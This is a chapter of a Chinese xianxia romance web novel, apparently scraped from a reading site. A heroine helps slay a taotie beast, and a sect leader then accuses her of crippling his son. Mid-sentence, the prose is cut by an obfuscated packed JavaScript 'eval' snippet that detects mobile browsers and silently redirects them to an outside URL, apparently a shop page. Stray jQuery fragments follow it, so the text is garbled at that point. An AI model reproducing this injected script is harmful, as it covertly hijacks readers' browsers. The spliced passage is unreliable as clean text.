25. 降凶兽·篇末

作品:《高冷剑修天天来蹭吃

    沈知寅带着苏晏飞近身边,甘棠知道是找她拿药来了,她抓着瓶子,眼神难掩失落,“药都掉光了。”


    但其实沈知寅并不在意药的事也压根没想提起,他点了穴位暂且止住了苏晏的腹痛,而后平静看向甘棠,“方才你摔下去时我便瞧见你的药撒出来了。”


    甘棠消化完他的话后慢半拍的反应过来,只是没想通,她眨了眨眼,问:“那你来我这是要干嘛?”


    沈知寅不动声色看着她,沉默了几秒,才缓缓说道,“我关心你身下的我的兰叶。”


    “兰叶?”甘棠低头看向下方稳稳托住她的大折扇,扇面上印有淡雅芮白的兰花,草叶青翠。


    “是这扇子的名字啊。你给每个武器都取了名字吗?”


    甘棠手心抚摸着折扇表面的纹路,喃喃出声。


    既然如此,那她是不是也能给她的那把铁剑起个名字,甘棠脑子里还在思考取名的事情,身下的折扇突然抽离,她与地面来了个亲密接触。


    不过鉴于离地距离并不高,所以没有摔伤,也不怎么疼。但她还是摔懵了一瞬,随后迟来的皱眉不满道。


    “沈知寅,下次这种时候你能不能提前跟我说一声,我会自己从扇子上下去的。”


    阴影前移,薄薄地笼罩下来,男人屈膝蹲下身,视线勉强与她持平,缺乏温度的声音一字一顿从那双形状姣好的唇里吐出,“不能。”


    被封住穴位的苏晏“啪嗒”一声倒下,配合着这番情状看起来沈知寅倒像是杀人凶手。


    甘棠瘪了瘪嘴,不说话,下一刻昏了过去的苏晏被推放至她旁边,身后倏有火球朝他们的方向袭来,言语上的提醒是来不及了,甘棠连忙拉住身前人的衣襟,令他往自己这边靠。


    一道淡蓝屏障忽然形成,扩散蔓延直至像盾牌一样将他们保护起来,烈焰熊熊的火球击在屏障上瞬间熄灭,球体碎作粉末飘散于混浊的空气中。


    与周遭烧焦的难闻气味不同,她的脸贴在沈知寅胸前的衣襟,浅淡的幽香丝丝盈入肺腑,躁动不安的一颗心渐渐平复下来。


    好好闻。


    甘棠形容不出来这种味道,她想到初春枝头将化未化的融雪,还有和熙日光下盛绽满园的兰花。


    吸气声变得大了起来,沈知寅发觉后攥住甘棠的后衣领将她一把揪开,脸色难看,“你在嗅我,你是狗吗。”


    “没有。不是狗。”甘棠脸一热,厚着脸皮死不承认,她迅速松开抓住他衣服的手,指尖莫名的烫。


    沈知寅眸光轻动,脸上仍旧没什么表情,他转而看了眼旁边失去意识的苏晏,似是想问些什么,但张唇出口的话又全与之无关。


    “在幻境里见到你的时候我就和你说过,这里很危险,让你找地方躲起来,你不听我的话。”


    甘棠脑袋朝向他的方向,看的却不是他的脸,也不是他的眼睛,视线越过沈知寅,投向不远处的饕餮,以及与饕餮厮杀的宗主们长老们。


    沈知寅他还不过去帮忙吗,有这等空闲在这同她算账。


    甘棠眼睛圆圆的,没有立刻回复他的话,脑子里不知道在想什么,但沈知寅看的出来,她在走神。


    于是大手卡住她的下巴,逼她正视自己,甘棠心知沈知寅不会伤害自己,没怎么挣扎,她轻轻拍了两下男人的手背,说话间一张一合的下唇蹭到对方的指尖。


    “沈知寅,你这是在关心我?”


    压在下巴上的温热力度随着落下的话音消失,沈知寅蜷起手指,虚握着拳。


    “沈知寅,你在关心我。”


    这次甘棠换了个陈述句,语气笃定,她给沈知寅发了张好人卡,“你人还真挺好的。”


    “你在说些什么蠢话。”


    沈知寅兀自站起身,拉开两人之间的距离,他的表情染上些许不耐,似乎是一种被冒犯了的不爽。


    紧接着甘棠就听他来了一句没头没尾的话。


    “我警告你,不要对我有所企图。”


    甘棠:“......”


    “在这待着,不要乱跑,死了的话我不会给你收尸。”


    好冷好凶地丢下一句话,只留给她一个决绝远去的背影。沈知寅继续打怪去了。


    甘棠不小心吸了一大口沈知寅长驱而去扬起的“烟尾气”,冷不丁打了个喷嚏,她搓了搓鼻子,懵懵地想。


    什么收尸,什么死了,什么企图,三句话连在一起完全莫名其妙。


    呸呸呸,什么收尸,说的真难听,她这辈子可要活的好好的,久久的,活个长命百岁,甘棠封建迷信地假装啐了三下口水,破掉沈知寅胡说八道的谶。


    很快,待在原地的甘棠就坐不住了,与女修口中所说的情况相吻合,像被推到的多米诺骨牌般,许多修士齐齐出现了腹痛的现象,甘棠看见熟悉的面孔,跑过去帮白芍搀扶病患。


    白芍是药修,不擅攻击类的术法,对于到来的降凶兽忧心忡忡,今晨起床没什么胃口,就没有吃同修从外边买回来的新式糕点,故逃过一劫。


    出现腹痛的人数量诡异地越来越多,白芍与在场的另外两个药修完全忙不过来,见到甘棠后她很是惊喜,因为随身携带的普通药物不够用也没什么用。


    白芍靠点穴的方法暂封住他们经脉,她拔开身下之人的领口,找到右下锁骨二指宽的位置,凝聚灵力按下去。


    “没错,就是这里。”甘棠试着在一个修士的身上摸索一番,得到白芍了肯定后她便开始参与到救助队伍中去。


    时间在不知不觉间流逝,将伤员和病患们都安顿好后,甘棠直起泛酸的腰,身后一阵强劲的风波扑涌而来,甘棠闻声扭头,便见沈知寅同其他二位宗主一同用灵力抵挡饕餮下压的妖爪。


    饕餮喜食人,甘棠所处聚集有大量的伤者,血腥味浓重,将其吸引了过来,红光闪动的羊瞳巨眼逼近,方形的眼珠子如一面黑色的湖镜,倒映出众人的身影,似无边黑暗要将人吞噬殆尽。


    甘棠被巨眼盯住,心里有些发毛,沈知寅施展灵力时衣袖下滑,露出了半截小臂,上面青筋暴起,灵光缭绕,与他一起御敌的其他人皆是下颌紧绷,颈侧筋络突出明显。


    甘棠严肃着一张脸,口中泛起一点腥苦的味道,怎的嘴巴里有股怪味,两条眉毛往上一提,她迅速反应过来,手摸向腰间。


    是那红白蘑菇,刚刚在路上见到些,她闲的没事顺手摘了些,打算用来防身。


    她心中有了主意,与一直在往后退缩的其他人不同,甘棠往前走去,她扯出腰带间夹着的蘑菇,一手拿着一个,旋即重心下压,摆出了参加运动会时的抛铅球姿势。


    “沈知寅!”


    话音一出,男人回头瞥过她,沈知寅凤眸一缩,仅此一眼,他便会了对方的意。


    两三个大蘑菇飞了过来,男人身影蹁跹,往上一跃,手中瞬间化出利剑,迎刃一剑劈碎了甘棠扔过去的蘑菇。


    “啵啵——啵”


    受到外力刺激的红白菇应激般地炸开了花,数以万计的灵孢喷射而出,方位正中饕餮的巨眼。


    妖兽眼睛被辣到,发出尖锐的爆鸣声,沈知寅趁此机会,乘其妖身一蹦直上,长剑灌满灵力,一击插进了它的眼睛,妖目鼓圆的晶体像泄了气的气球瞬间瘪了下去,“噗”的一声巨响,喷流出红黑色的粘液。


    岑畏离和乌玉竹及其他长老乘胜追击,齐力将之一击毙命。


    饕餮化作一团乌黑的浊烟消散于天际,与此同时,虚实幻境里的景色开始变幻扭曲起来,颜色褪去只剩黑白二色,最后整个幻境完全消散,眼前是栖鸳境的景象。


    他们回到了现实,这无疑是一个值得高兴的好消息。


    但所有人的脸上,没有半点欣喜之色,饕餮是死了,虚实幻境是消失了,可甘棠嘴里的苦味没消失,在幻境中受伤的修士们依旧伤的伤,死的死,昏迷的昏迷,岑浪断掉的手臂也没有再长回来。


    一阵诡异的沉默笼窒住整个跃华门,恐惧如洪水倾盆,淹没了每一个人的心脏。


    不过眼下当务之急另有其事,沈知寅与大家一齐搀扶转移伤者,巧的是岑浪偏偏在抬着他的担架上醒了过来。


    两个辛苦抬着他的修士被他粗鲁地推开,显然他完全不习惯自己现在只剩下一只手的状态,本能地想要双手将人推开,结果也只是有点滑稽地用一只手呼了过去。


    失血过多使岑浪十分虚弱,没什么力气,他没推动别人,反倒是意识到自己少了一只手,失心疯般大叫起来。


    岑畏离眼眶湿润,抱住了自己的儿子,想让他冷静下来,但岑浪仍是崩溃地叫喊,到最后哭了出来。


    男儿有泪不轻弹,可是现在是个残废的他还算得上男儿吗?


    “不可能,不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329823|196854||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可能,我记得我本可以击中饕餮的,可是突然......突然我的肚子,对!我的肚子突然特别痛,然后我就——啊!”


    应该是回忆起了现场,岑浪的表情一瞬间变得特别痛苦,神情看起来都有点疯疯癫癫了。


    甘棠心里难免同情起他,虽说他们的第一次见面相处就不愉快,但这仙招大会今日这场比赛本就是给各位江湖侠气的修士们崭露头角的,用她现代的思维来说,就是主办方出的错,后果让无辜的人承担了。


    边哭边嚎的岑浪一点形象也不顾了,嘴里时不时还有又苦又辣的滋味折磨他,岑浪的视线蓦地停住,定在人群中的一个人影身上。


    “是你!定是你对我做了什么手脚!不然我怎么会在那种关键时刻突然腹痛!一定是你!”


    岑浪指着甘棠噼哩啪啦一堆话说完,甘棠下一秒就感觉到岑畏离毒蛇般的目光朝自己刺了过来,不愧是父子连心,她一定是上辈子和这家姓岑的有仇。


    额...也许这修仙界就是她所谓的“上辈子”,那就是这辈子和她有仇了。


    前一刻心里冒出的那点怜悯的同理心顷刻被浇灭,同情、可怜他?去他爹的。


    她不如先心疼心疼自己,提心吊胆累了一天然后一盘脏水泼过来,躲都躲不及。


    “你给我扔的那蘑菇,肯定是你的毒菇害得我!!我不就拿你一只猫兔吗!你至于对我下这等毒手!设计阴我害我断掉一只手!”


    哟呵。


    听完他的一口气说完还不带喘的脑补,甘棠觉得这人不去当编剧真是浪费了,她恨不得手里立刻变出纸和笔给他递过去,让他接着编。


    “你这毒妇!我今日势必要为我儿报仇!来人把棘鞭呈来!”岑畏离指着她的鼻子破口大骂,差随从去拿鞭子。


    沈知寅目光不动声色地在甘棠身上扫过,他在等待着对方的下一步举动。


    但是那身形清瘦的女子背却挺得比以往任何时候都要板直,不曾为恶语折低半分,沈知寅静静地凝视着她的背影,清楚地看见——她没有转头望向任何人。反倒是小巧玲珑的下巴还高昂了几分。


    他重心稍有前倾的身子回落原地,脸上仍旧是那副平淡无波的表情。


    “六百六十六。我竟然不知道自己如此神机妙算,能算出岑浪公子进攻饕餮的时机、招式、策略,岑公子看来还是没失忆的,还记得是自己先不仁,夺我猫兔,既是你先不仁,现在反倒还怪起我不义了?”


    “我还是第一次听天底下这样的道理。”甘棠抬起了下巴,双手抱臂,平静地反驳道,每一条都直击对方痛点。


    “什么六百六十六!果然是你!”岑畏离被她的话激怒,伸手拿起一旁的棘鞭,扬手就朝她甩去,布满尖刺的长鞭凌厉生风,甘棠正要躲开,有人却抢先一步站在了她的前面。


    嘶——!


    左手掌心袭来一阵尖锐的刺痛。


    为何手会莫名地痛?


    甘棠掀起眼皮望去,一个高大颀长的身影挡在她的身前,高高举起的手中用力握住了棘鞭,血珠一滴一滴的沿皮肤纹理流下。


    “岑宗主,判案还需举证,光凭你儿子一张嘴就把人定罪了?”


    沈知寅猛地把手里的鞭子一掷,鞭尾重重落在地上,刮出一道深浅不一的血痕。


    “不止当着众人对一女子口出恶言,还要私自用刑,丹宗当真是好教养。”


    “断的不是你的手!你当然语气轻轻,满不在乎。沈知寅,你给我让开,我今日还真要押她回我丹宗好好治罪!”


    “来人!把她给我抓起来!”岑畏离一甩鞭子,气势汹汹,咬牙切齿地说道。


    “我看谁敢。”


    沈知寅周身的气压骤降,眼神冷冽冰森,他滴着血的左手亮起华光,灵力运转。


    剑拔弩张的气氛里,所有人都是紧绷着的。


    一只手轻轻拉住了沾有血污和泥土的玄青衣袖,甘棠往前迈出两步,站定在沈知寅前面。


    “岑宗主,我敢保证,你儿子的腹痛绝不是我害的。今日我可以受你一鞭,让你暂解心头之恨,但待他日我查明真相,你要十倍奉还。”


    甘棠伸出一只手,横挡在沈知寅身前,她眼神灼亮,对着岑畏离道,“如何?”


    沈知寅闻言,无声地看着她的侧颜,半掩的眼皮之下,眸光愈显深沉。